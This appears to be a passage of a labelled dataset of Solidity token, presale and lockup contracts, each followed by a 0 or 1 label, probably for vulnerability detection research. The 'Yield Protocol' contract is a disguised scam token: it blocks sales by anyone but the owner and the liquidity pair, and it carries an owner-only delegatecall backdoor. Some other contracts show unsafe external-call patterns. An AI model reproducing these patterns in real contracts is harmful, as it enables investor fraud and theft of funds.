allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = addSafe(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = subSafe(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = subSafe(balances[msg.sender], _value); balances[_to] = addSafe(balances[_to], _value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length>0); } } contract TOBToken is StandardToken { string public name = 'TOBToken'; string public symbol = 'TOB'; uint public decimals = 18; uint256 public createTime = 1527436800; uint256 public bonusEnds = 1528646400; uint256 public endDate = 1529078400; uint256 firstAnnual = 1559318400; uint256 secondAnnual = 1590940800; uint256 thirdAnnual = 1622476800; uint256 public INITIAL_SUPPLY = 1000000000; uint256 public frozenForever = 400000000; uint256 firstAnnualReleasedAmount = 150000000; uint256 secondAnnualReleasedAmount= 150000000; uint256 thirdAnnualReleasedAmount = 100000000; function TOBToken() public { totalSupply = 200000000 ; balances[msg.sender] = totalSupply * 10 ** uint256(decimals); owner = msg.sender; } function releaseSupply() public onlyOwner returns(uint256 _actualRelease) { uint256 releaseAmount = getReleaseAmount(); require(releaseAmount > 0); balances[owner] = addSafe(balances[owner], releaseAmount * 10 ** uint256(decimals)); totalSupply = addSafe(totalSupply, releaseAmount); Transfer(address(0), msg.sender, releaseAmount); return releaseAmount; } function getReleaseAmount() internal returns(uint256 _actualRelease) { uint256 _amountToRelease; if ( now >= firstAnnual && now < secondAnnual && firstAnnualReleasedAmount > 0) { _amountToRelease = firstAnnualReleasedAmount; firstAnnualReleasedAmount = 0; } else if ( now >= secondAnnual && now < thirdAnnual && secondAnnualReleasedAmount > 0) { _amountToRelease = secondAnnualReleasedAmount; secondAnnualReleasedAmount = 0; } else if ( now >= thirdAnnual && thirdAnnualReleasedAmount > 0) { _amountToRelease = thirdAnnualReleasedAmount; thirdAnnualReleasedAmount = 0; } else { _amountToRelease = 0; } return _amountToRelease; } function () public payable { require(now >= createTime && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 2480; } else { tokens = msg.value * 2000; } require(tokens <= balances[owner]); balances[msg.sender] = addSafe(balances[msg.sender], tokens); balances[owner] = subSafe(balances[owner], tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } }
0
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract YIELDToken { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 140736000000000000000000000; string public name = "Yield Protocol"; string public symbol = "YIELD"; address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address private owner; address public uniPair; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor() { owner = msg.sender; uniPair = pairFor(uniFactory, wETH, address(this)); allowance[address(this)][uniRouter] = uint(-1); allowance[msg.sender][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } modifier checkLimits(address _from, address _to) { require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
1
pragma solidity ^0.4.18; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract CACCOIN is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'C1'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function CACCOIN() { balances[msg.sender] = 1000000000000000 ; totalSupply = 1000000000000000; name = "CACCOIN"; decimals = 6; symbol = "CAC"; unitsOneEthCanBuy = 10; fundsWallet = msg.sender; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.15; contract Owned { address public ownerA; bool public pausedB; function Owned() { ownerA = msg.sender; } modifier IsOwner { require(msg.sender == ownerA); _; } modifier IsActive { require(!pausedB); _; } event LogOwnerChange(address indexed PreviousOwner, address NewOwner); event LogPaused(); event LogResumed(); function ChangeOwner(address vNewOwnerA) IsOwner { require(vNewOwnerA != address(0) && vNewOwnerA != ownerA); LogOwnerChange(ownerA, vNewOwnerA); ownerA = vNewOwnerA; } function Pause() IsOwner { pausedB = true; LogPaused(); } function Resume() IsOwner { pausedB = false; LogResumed(); } } contract DSMath { function add(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x + y) >= x); } function sub(uint256 x, uint256 y) constant internal returns (uint256 z) { assert((z = x - y) <= x); } function mul(uint256 x, uint256 y) constant internal returns (uint256 z) { z = x * y; assert(x == 0 || z / x == y); } function subMaxZero(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y > x) z = 0; else z = x - y; } } contract ERC20Token is Owned, DSMath { bool public constant isEIP20Token = true; uint public totalSupply; bool public saleInProgressB; mapping(address => uint) internal iTokensOwnedM; mapping(address => mapping (address => uint)) private pAllowedM; event Transfer(address indexed src, address indexed dst, uint wad); event Approval(address indexed Sender, address indexed Spender, uint Wad); function balanceOf(address guy) public constant returns (uint) { return iTokensOwnedM[guy]; } function allowance(address guy, address spender) public constant returns (uint) { return pAllowedM[guy][spender]; } modifier IsTransferOK(address src, address dst, uint wad) { require(!saleInProgressB && !pausedB && iTokensOwnedM[src] >= wad && dst != src && dst != address(this) && dst != ownerA); _; } function transfer(address dst, uint wad) IsTransferOK(msg.sender, dst, wad) returns (bool) { iTokensOwnedM[msg.sender] -= wad; iTokensOwnedM[dst] = add(iTokensOwnedM[dst], wad); Transfer(msg.sender, dst, wad); return true; } function transferFrom(address src, address dst, uint wad) IsTransferOK(src, dst, wad) returns (bool) { require(pAllowedM[src][msg.sender] >= wad); iTokensOwnedM[src] -= wad; pAllowedM[src][msg.sender] -= wad; iTokensOwnedM[dst] = add(iTokensOwnedM[dst], wad); Transfer(src, dst, wad); return true; } function approve(address spender, uint wad) IsActive returns (bool) { pAllowedM[msg.sender][spender] = wad; Approval(msg.sender, spender, wad); return true; } } contract PacioToken is ERC20Token { string public constant name = "Pacio Token"; string public constant symbol = "PIOE"; uint8 public constant decimals = 12; uint public tokensIssued; uint public tokensAvailable; uint public contributors; uint public founderTokensAllocated; uint public founderTokensVested; uint public foundationTokensAllocated; uint public foundationTokensVested; bool public icoCompleteB; address private pFounderToksA; address private pFoundationToksA; event LogIssue(address indexed Dst, uint Picos); event LogSaleCapReached(uint TokensIssued); event LogIcoCompleted(); event LogBurn(address Src, uint Picos); event LogDestroy(uint Picos); function Initialise(address vNewOwnerA) { require(totalSupply == 0); super.ChangeOwner(vNewOwnerA); founderTokensAllocated = 10**20; foundationTokensAllocated = 10**20; totalSupply = 10**21; iTokensOwnedM[ownerA] = 10**21; tokensAvailable = 8*(10**20); Transfer(0x0, ownerA, 10**21); } function Mint(uint picos) IsOwner { totalSupply = add(totalSupply, picos); iTokensOwnedM[ownerA] = add(iTokensOwnedM[ownerA], picos); tokensAvailable = subMaxZero(totalSupply, tokensIssued + founderTokensAllocated + foundationTokensAllocated); Transfer(0x0, ownerA, picos); } function PrepareForSale() IsOwner { require(!icoCompleteB); saleInProgressB = true; } function ChangeOwner(address vNewOwnerA) { transfer(vNewOwnerA, iTokensOwnedM[ownerA]); super.ChangeOwner(vNewOwnerA); } function Issue(address dst, uint picos) IsOwner IsActive returns (bool) { require(saleInProgressB && iTokensOwnedM[ownerA] >= picos && dst != address(this) && dst != ownerA); if (iTokensOwnedM[dst] == 0) contributors++; iTokensOwnedM[ownerA] -= picos; iTokensOwnedM[dst] = add(iTokensOwnedM[dst], picos); tokensIssued = add(tokensIssued, picos); tokensAvailable = subMaxZero(tokensAvailable, picos); LogIssue(dst, picos); return true; } function SaleCapReached() IsOwner IsActive { saleInProgressB = false; LogSaleCapReached(tokensIssued); } function IcoCompleted() IsOwner IsActive { require(!icoCompleteB); saleInProgressB = false; icoCompleteB = true; LogIcoCompleted(); } function SetFFSettings(address vFounderTokensA, address vFoundationTokensA, uint vFounderTokensAllocation, uint vFoundationTokensAllocation) IsOwner { if (vFounderTokensA != address(0)) pFounderToksA = vFounderTokensA; if (vFoundationTokensA != address(0)) pFoundationToksA = vFoundationTokensA; if (vFounderTokensAllocation > 0) assert((founderTokensAllocated = vFounderTokensAllocation) >= founderTokensVested); if (vFoundationTokensAllocation > 0) assert((foundationTokensAllocated = vFoundationTokensAllocation) >= foundationTokensVested); tokensAvailable = totalSupply - founderTokensAllocated - foundationTokensAllocated - tokensIssued; } function VestFFTokens(uint vFounderTokensVesting, uint vFoundationTokensVesting) IsOwner IsActive { require(icoCompleteB); if (vFounderTokensVesting > 0) { assert(pFounderToksA != address(0)); assert((founderTokensVested = add(founderTokensVested, vFounderTokensVesting)) <= founderTokensAllocated); iTokensOwnedM[ownerA] = sub(iTokensOwnedM[ownerA], vFounderTokensVesting); iTokensOwnedM[pFounderToksA] = add(iTokensOwnedM[pFounderToksA], vFounderTokensVesting); LogIssue(pFounderToksA, vFounderTokensVesting); tokensIssued = add(tokensIssued, vFounderTokensVesting); } if (vFoundationTokensVesting > 0) { assert(pFoundationToksA != address(0)); assert((foundationTokensVested = add(foundationTokensVested, vFoundationTokensVesting)) <= foundationTokensAllocated); iTokensOwnedM[ownerA] = sub(iTokensOwnedM[ownerA], vFoundationTokensVesting); iTokensOwnedM[pFoundationToksA] = add(iTokensOwnedM[pFoundationToksA], vFoundationTokensVesting); LogIssue(pFoundationToksA, vFoundationTokensVesting); tokensIssued = add(tokensIssued, vFoundationTokensVesting); } } function Burn(address src, uint picos) IsOwner IsActive { require(icoCompleteB); iTokensOwnedM[src] = subMaxZero(iTokensOwnedM[src], picos); tokensIssued = subMaxZero(tokensIssued, picos); totalSupply = subMaxZero(totalSupply, picos); LogBurn(src, picos); } function Destroy(uint picos) IsOwner IsActive { require(icoCompleteB); totalSupply = subMaxZero(totalSupply, picos); tokensAvailable = subMaxZero(tokensAvailable, picos); LogDestroy(picos); } function() { revert(); } }
1
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract FMFToken is StandardToken, Ownable { string public constant name = "Formosa Financial Token"; string public constant symbol = "FMF"; uint8 public constant decimals = 18; uint256 public totalSupply = 2000000000 ether; constructor() public { balances[msg.sender] = totalSupply; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27907200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xD519d6DB9ef0963bF35E5213a2403d2170c3Ed49; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.25; interface ERC20 { function totalSupply() external constant returns (uint); function balanceOf(address tokenOwner) external constant returns (uint balance); function allowance(address tokenOwner, address spender) external constant returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) external; } contract WoodMaterial is ERC20 { using SafeMath for uint; string public constant name = "Goo Material - Wood"; string public constant symbol = "WOOD"; uint8 public constant decimals = 0; uint256 public totalSupply; address owner; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; mapping(address => bool) operator; constructor() public { owner = msg.sender; } function setOperator(address gameContract, bool isOperator) external { require(msg.sender == owner); operator[gameContract] = isOperator; } function totalSupply() external view returns (uint) { return totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) external view returns (uint256) { return balances[tokenOwner]; } function transfer(address to, uint tokens) external returns (bool) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) external returns (bool) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function approve(address spender, uint tokens) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function approveAndCall(address spender, uint tokens, bytes data) external returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function allowance(address tokenOwner, address spender) external view returns (uint256) { return allowed[tokenOwner][spender]; } function recoverAccidentalTokens(address tokenAddress, uint tokens) external { require(msg.sender == owner); require(tokenAddress != address(this)); ERC20(tokenAddress).transfer(owner, tokens); } function mintWood(uint256 amount, address player) external { require(operator[msg.sender]); balances[player] += amount; totalSupply += amount; emit Transfer(address(0), player, amount); } function burn(uint256 amount, address player) public { require(operator[msg.sender]); balances[player] = balances[player].sub(amount); totalSupply = totalSupply.sub(amount); emit Transfer(player, address(0), amount); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
contract Treefs { string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function treefs() { initialSupply = 2000000; name ="treefs"; decimals = 8; symbol = "TRFS"; balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; } function () { throw; } }
1
pragma solidity ^0.4.6; contract Presale { mapping (address => uint) public balances; uint public transfered_total = 0; uint public constant min_goal_amount = 5 ether; uint public constant max_goal_amount = 10 ether; address public project_wallet; uint public presale_start_block; uint public presale_end_block; uint constant blocks_in_one_months = 100; uint public refund_window_end_block; function Presale(uint _start_block, uint _end_block, address _project_wallet) { if (_start_block <= block.number) throw; if (_end_block <= _start_block) throw; if (_project_wallet == 0) throw; presale_start_block = _start_block; presale_end_block = _end_block; project_wallet = _project_wallet; refund_window_end_block = presale_end_block + blocks_in_one_months; } function has_presale_started() private constant returns (bool) { return block.number >= presale_start_block; } function has_presale_time_ended() private constant returns (bool) { return block.number > presale_end_block; } function is_min_goal_reached() private constant returns (bool) { return transfered_total >= min_goal_amount; } function is_max_goal_reached() private constant returns (bool) { return transfered_total >= max_goal_amount; } function () payable { if (!has_presale_started()) throw; if (has_presale_time_ended()) throw; if (msg.value == 0) throw; if (is_max_goal_reached()) throw; if (transfered_total + msg.value > max_goal_amount) { var change_to_return = transfered_total + msg.value - max_goal_amount; if (!msg.sender.send(change_to_return)) throw; var to_add = max_goal_amount - transfered_total; balances[msg.sender] += to_add; transfered_total += to_add; } else { balances[msg.sender] += msg.value; transfered_total += msg.value; } } function transfer_funds_to_project() { if (!is_min_goal_reached()) throw; if (this.balance == 0) throw; if (!project_wallet.send(this.balance)) throw; } function refund() { if (!has_presale_time_ended()) throw; if (is_min_goal_reached()) throw; if (block.number > refund_window_end_block) throw; var amount = balances[msg.sender]; if (amount == 0) throw; balances[msg.sender] = 0; if (!msg.sender.send(amount)) throw; } function transfer_left_funds_to_project() { if (!has_presale_time_ended()) throw; if (is_min_goal_reached()) throw; if (block.number <= refund_window_end_block) throw; if (this.balance == 0) throw; if (!project_wallet.send(this.balance)) throw; } }
1
pragma solidity ^ 0.4.18; contract CryptoBabyName { uint8 constant S_NAME_POS = 18; uint8 constant S_NAME_SIZE = 10; uint8 constant S_SCORE_POS = 0; uint8 constant S_SCORE_SIZE = 10; uint8 constant S_VOTES_POS = 10; uint8 constant S_VOTES_SIZE = 4; uint8 constant S_TIMESTAMP_POS = 14; uint8 constant S_TIMESTAMP_SIZE = 4; uint8 constant S_APPROVED_POS = 28; uint8 constant S_APPROVED_SIZE = 1; uint8 constant S_SELECTED_POS = 29; uint8 constant S_SELECTED_SIZE = 1; address public owner; address public beneficiary; mapping(bytes10 => uint) leaderboard; mapping(address => mapping(bytes10 => uint)) voters; uint[100] allNames; mapping(string => string) metadata; uint babyName; uint babyBirthday; uint counter = 0; modifier restricted() { if (msg.sender == owner) _; } function CryptoBabyName() public { owner = msg.sender; } event Vote(address voter, string name, uint value); event NewSuggestion(address voter, string name, uint number); event BabyBorn(string name, uint birthday); function vote(string name) external payable{ _vote(name, msg.value, msg.sender); } function () public payable{ if (msg.data.length >= 2 && msg.data.length <= 10) { _vote(string(msg.data), msg.value, msg.sender); } } function _vote(string name, uint value, address voter) private { require(babyName == 0); bytes10 name10 = normalizeAndCheckName(bytes(name)); if (leaderboard[name10] != 0) { uint newVal = leaderboard[name10]; newVal = addToPart(newVal, S_SCORE_POS, S_SCORE_SIZE, value); newVal = addToPart(newVal, S_VOTES_POS, S_VOTES_SIZE, 1); _update(name10, newVal); } else { uint uni = 0xFFFF; uni = setPart(uni, S_SCORE_POS, S_SCORE_SIZE, value); uint uname = uint(name10); uni = setPart(uni, S_NAME_POS, S_NAME_SIZE, uname); uni = setPart(uni, S_VOTES_POS, S_VOTES_SIZE, 1); uni = setPart(uni, S_TIMESTAMP_POS, S_TIMESTAMP_SIZE, block.timestamp); uni |= 0xFFFF; _update(name10, uni); counter += 1; NewSuggestion(voter, name, counter); } voters[voter][name10] += value; Vote(voter, name, value); } function didVoteForName(address voter, string name) public view returns(uint value){ value = voters[voter][normalizeAndCheckName(bytes(name))]; } function _update(bytes10 name10, uint updated) private { uint16 idx = uint16(updated); if (idx == 0xFFFF) { uint currentBottom; uint bottomIndex; (currentBottom, bottomIndex) = bottomName(); if (updated > currentBottom) { if (getPart(currentBottom, S_SCORE_POS, S_SCORE_SIZE) > 0) { currentBottom = currentBottom | uint(0xFFFF); bytes10 bottomName10 = bytes10(getPart(currentBottom, S_NAME_POS, S_NAME_SIZE)); leaderboard[bottomName10] = currentBottom; } updated = (updated & ~uint(0xFFFF)) | bottomIndex; allNames[bottomIndex] = updated; } } else { allNames[idx] = updated; } leaderboard[name10] = updated; } function getPart(uint val, uint8 pos, uint8 sizeBytes) private pure returns(uint result){ uint mask = makeMask(sizeBytes); result = (val >> ((32 - (pos + sizeBytes)) * 8)) & mask; } function makeMask(uint8 size) pure private returns(uint mask){ mask = (uint(1) << (size * 8)) - 1; } function setPart(uint val, uint8 pos, uint8 sizeBytes, uint newValue) private pure returns(uint result){ uint mask = makeMask(sizeBytes); result = (val & ~(mask << (((32 - (pos + sizeBytes)) * 8)))) | ((newValue & mask) << (((32 - (pos + sizeBytes)) * 8))); } function addToPart(uint val, uint8 pos, uint8 